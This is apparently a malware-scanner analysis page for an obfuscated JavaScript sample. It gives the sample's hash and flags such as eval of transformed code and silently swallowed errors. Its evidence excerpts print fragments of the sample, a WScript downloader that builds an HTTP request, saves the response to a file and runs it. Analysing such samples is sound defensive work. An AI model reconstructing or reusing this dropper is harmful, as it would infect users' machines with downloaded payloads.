Suspicious ^80% javascript-malware-collection Download

20160328_ce0e705bc211aaadbabde252ab4a26a1.js

Obfuscated WScript payload execution

eval() executing transformed codeText has empty named-parameter catch

SHA-2568c53eb74c3441da51207669512a5bfa4c8cf0b6345efb93d4c91d95747366a30

Evidence

Dense concatenated string fragments line 1

1eval(lang("attrHooks%20%3D%20%2852%29%2C%20matchAnyContext%20%3D%20%28%22te%22%29%2C%20stopQueue%20%3D%20%285%29%2C%20targets%20%3D%20%28%22DB.St%22%29%3Bwindow%20%3D%20%28%22LHTTP%22%29%2C%20isXML%20%3D%20%28%22hell%22%29%2C%20callbackName%20%3D%20%28%22l%22%29%2C%20getElementsByTagName%20%3D%20%28%22ings%22%29%3Bvar%20stored%20%3D%20%28%22/moo%22%29%2C%20adown%20%3D%20%28%22WScrip%22%29%3Bvar%20soFar%20%3D%20%2895%29%2C%20dataFilter%20%3D%20%28%22n%22%29%3Bvar%20callbackInverse%20%3D%20%28%22P.6.0%22%29%3Bcur%20%3D%20%28%22egacyg%22%29%3B%20lastChild%20%3D%20%28%22ateObj%22%29%3Bvar%20bind%20%3D%20% …

DNR request headers marker line 1

1:1654… transports%20%3D%20%28%22Nru8f%22%29%3Bpop%20%3D%20%281%29%3B%20requestHeaders%20%3D%20%2832%29%3B%20proxy%20%3D%20%28%22%3A//m%22%29%3B%20async%20%3D%20%28%22.Se%22%29%3B%20onerror%20%3D%20%28%22t%22%29%3B …

Invokes zero-argument function at module scope lines 2–6

2:33… lem = groups = dequeue.promise();
3target(htmlPrefilter, adown);
4shift();
5properties(hasFocus, removeChild, isXML, callbackName, window);
6interval(seekingTransport, risSimple, matchIndexes, hasFocus, a …

JavaScript silently discards caught errors lines 14–20

76… b[dataType]);
	w(always, linear, defaultExtra, attrHooks);
	cors[undelegate + "nd"]();
	break;
} catch(ajaxPrefilter) {}
}
while(cors[pdataCur + "dySta" + matchAnyContext] != ((2 * nonce))) groups["WScri" + curCSSLeft]["Sleep"](((246 - inspected) …

Calls JavaScript unescape lines 21–36

21:3… f(cors[linear + "tus"] == ((Math.pow(107, nonce) - 11249))) {
22		handlerQueue[hasFocus + "en"]();
23		handlerQueue[input](cors["respon" + camelKey]);
24		rparentsprev(xhrSuccessStatus, filters, seekingTransport);
25		handlerQueue[isArrayLike + "File"](propFix, (nonce & 3));
26		defaultDisplay[adown + "t"][camelCase + "e" + string](((elementMatchers - 2920)));
27		style["Ru" + dataFilter](propFix);
28	} else {}
29}
30
31function lang(getScript) {
32	return unescape(getScript);
33}
34
35function target(copy) {
36	rcssNum(lang("style%20%3D%20defaultDisplay%5B%22WScr%22%20+%20splice%5D%5B%22Cre%22%20+ …